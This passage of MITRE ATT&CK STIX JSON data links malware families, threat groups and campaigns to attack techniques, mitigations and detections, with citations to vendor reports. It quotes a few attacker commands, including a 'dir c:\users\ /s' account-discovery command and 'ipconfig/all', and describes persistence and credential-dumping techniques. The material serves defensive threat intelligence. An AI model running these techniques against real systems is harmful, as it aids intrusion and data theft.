"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b09cad27-7b44-4a57-adf8-dcbcb3cdcb0a", "created": "2019-01-29T18:23:46.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 Nokki Oct 2018", "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:37:52.443Z", "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is encrypted using single-byte XOR.(Citation: Unit 42 Nokki Oct 2018)", "relationship_type": "uses", "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0a0e3c7-e1b2-4b84-8e37-8989147785d0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "source_name": "TrendMicro Patchwork Dec 2017"}], "modified": "2019-07-11T13:53:05.821Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) developed a file stealer to search C:\\ and collect files with certain extensions. [Patchwork](https://attack.mitre.org/groups/G0040) also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0a40611-da3c-4447-b0af-fa66f927b623", "type": "relationship", "created": "2019-01-29T14:51:06.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. 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(2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-10-01T13:39:20.860Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can enumerate computers and network devices.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0d3ef27-8854-486f-942b-f0cd42c8a85c", "type": "relationship", "created": "2020-09-25T17:35:36.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Valak July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. (2020, July 24). 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) has run `C:\\Windows\\system32\\cmd.exe /c cmd /c dir c:\\users\\ /s 2>&1` to discover local accounts.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-07T17:18:32.888Z", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0da6a37-0a54-438f-abeb-7f1dcfebaa45", "type": "relationship", "created": "2020-01-23T19:52:17.661Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET", "description": "National Security Agency. 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Retrieved April 7, 2016.", "source_name": "TechNet Applocker vs SRP"}], "modified": "2022-03-11T20:41:41.673Z", "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass application control. (Citation: Secure Host Baseline EMET) Identify and block potentially malicious software executed through regsvr32 functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "relationship_type": "mitigates", "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0dcef9d-9fea-4471-8e26-16e272af5687", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the mounting of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b0e23cdb-b676-4cad-b814-589734dfcb43", "created": "2022-09-22T18:31:12.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. 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Retrieved November 30, 2018."}], "modified": "2019-02-12T21:28:19.541Z", "description": "[Seasalt](https://attack.mitre.org/software/S0345) creates a Registry entry to ensure infection after reboot under <code>HKLM\\Software\\Microsoft\\Windows\\currentVersion\\Run</code>.(Citation: McAfee Oceansalt Oct 2018)", "relationship_type": "uses", "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b22b0a6c-5960-4232-9fb6-bae84fcc07ca", "type": "relationship", "created": "2021-04-16T19:04:13.580Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Analyzing Solorigate Dec 2020", "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "description": "MSTIC. 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Retrieved February 10, 2022."}], "modified": "2022-02-10T16:42:30.909Z", "description": "(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: CrowdStrike StellarParticle January 2022)(Citation: ESET T3 Threat Report 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. 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Retrieved June 29, 2021."}], "modified": "2021-06-29T15:19:53.146Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use TCP in C2 communications.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b23e8d31-bb6a-42b4-ab34-1c9e302a3b74", "created": "2022-04-13T16:26:21.148Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). 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(2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T16:13:40.680Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used search order hijacking to load a malicious DLL.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b2cf2404-a612-4832-8dff-9f5572776785", "type": "relationship", "created": "2019-04-17T22:55:43.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Remexi Jan 2019", "url": "https://securelist.com/chafer-used-remexi-malware/89538/", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}], "modified": "2019-04-22T20:18:07.135Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) has a command to capture active windows on the machine and retrieve window titles.(Citation: Securelist Remexi Jan 2019)", "relationship_type": "uses", "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. 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Retrieved June 4, 2020."}], "modified": "2020-06-25T13:32:00.198Z", "description": "[Skidmap](https://attack.mitre.org/software/S0468) has used <code>pm.sh</code> to download and install its main payload.(Citation: Trend Micro Skidmap)", "relationship_type": "uses", "source_ref": "malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b3c3bcb2-3b6a-472f-b0b5-edd93c311d91", "created": "2022-02-09T14:49:28.665Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). 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Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used `ipconfig/all` to gather network configuration information.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T16:12:10.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b3c50e22-4f4c-490c-9284-0af1c0543821", "created": "2022-04-15T18:19:38.507Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC FoggyWeb September 2021", "url": "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "description": "Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can check for the [FoggyWeb](https://attack.mitre.org/software/S0661) backdoor .pri file on a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-16T01:35:44.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b3c69087-f989-4f93-924a-0d6df6c75315", "type": "relationship", "created": "2019-01-30T18:58:04.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R., Lee, B. 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(n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}], "modified": "2021-03-22T22:05:59.568Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has used regsvr32.exe to execute malicious DLLs.(Citation: JoeSecurity Egregor 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b3cf2464-2602-4a88-8e7a-dda56eff05ff", "created": "2023-10-02T01:52:28.960Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T01:52:28.960Z", "description": "If remote services, such as the ability to make direct connections to cloud virtual machines, are not required, disable these connection types where feasible.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b3d3ab9f-03db-4982-b60e-9f7f224f1fc2", "type": "relationship", "created": "2019-01-29T17:59:44.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Brumaghin, E., et al. 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[DarkGate](https://attack.mitre.org/software/S1111) will initiate a new thread if certain security products are identified on the victim, and recreate any malicious files associated with it if it determines they were removed by security software in a new system location.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b3e28a85-784f-4adb-9398-3bbdaf9275fc", "type": "relationship", "created": "2021-09-21T15:45:10.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 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Retrieved June 15, 2020."}], "modified": "2020-06-30T22:24:45.570Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom .NET tool to collect documents from an organization's internal central database.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b3e4c3b6-0036-4968-b245-a4c36d3cd417", "type": "relationship", "created": "2019-01-30T15:21:42.369Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). 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Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/concepts/security/controlling-access/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-15T16:10:37.976Z", "description": "Limit communications with the container service to managed and secured channels, such as local Unix sockets or remote access via SSH. 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(2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}, {"source_name": "Glitch-Cat Green Lambert ATTCK Oct 2021", "url": "https://www.glitch-cat.com/blog/green-lambert-and-attack", "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can establish persistence on a compromised host through modifying the `profile`, `login`, and run command (rc) files associated with the `bash`, `csh`, and `tcsh` shells. (Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ", "modified": "2022-04-20T17:50:35.396Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}, {"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "modified": "2020-03-16T15:59:20.322Z", "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of downloading additional files through C2 channels, including a new version of itself.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b3f66735-fafe-49be-b55c-4d087d1351a7", "type": "relationship", "created": "2020-05-06T21:31:07.642Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.642Z", "description": "[Okrum](https://attack.mitre.org/software/S0439)'s loader can decrypt the backdoor code, embedded within the loader or within a legitimate PNG file. A custom XOR cipher or RC4 is used for decryption.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b3f7d095-c7eb-4a4b-909d-e3b831c7ed16", "created": "2022-09-27T16:43:21.437Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:43:21.437Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors discovered removable disks attached to a system.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b3fc9f8c-9074-42b8-a144-ad97aa017dce", "created": "2022-09-22T20:20:46.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.", "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T20:57:10.286Z", "description": "During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors generated a web shell within a vulnerable Enterprise Resource Planning Web Application Server as a persistence mechanism.(Citation: Cybereason OperationCuckooBees May 2022)", "relationship_type": "uses", "source_ref": "campaign--93c23946-49af-41f4-ac03-40f9ffc7419b", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4016d43-d8c4-4ca2-b119-0681ebe8aaff", "type": "relationship", "created": "2020-06-04T19:45:16.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objective-see windtail1 dec 2018", "url": "https://objective-see.com/blog/blog_0x3B.html", "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}], "modified": "2020-06-04T19:45:16.042Z", "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to decrypt strings using hard-coded AES keys.(Citation: objective-see windtail1 dec 2018)", "relationship_type": "uses", "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b408ac97-93d7-4cca-ac96-7a61ab99cb5e", "type": "relationship", "created": "2021-03-02T16:42:09.533Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-FR PYSA April 2020", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}], "modified": "2021-03-02T16:42:09.533Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform OS credential dumping using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: CERT-FR PYSA April 2020)", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4174e7a-3b60-4697-a006-84edb81622cd", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", "source_name": "Lookout Dark Caracal Jan 2018"}], "modified": "2019-07-16T15:35:20.800Z", "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) spearphished victims via Facebook and Whatsapp.(Citation: Lookout Dark Caracal Jan 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": 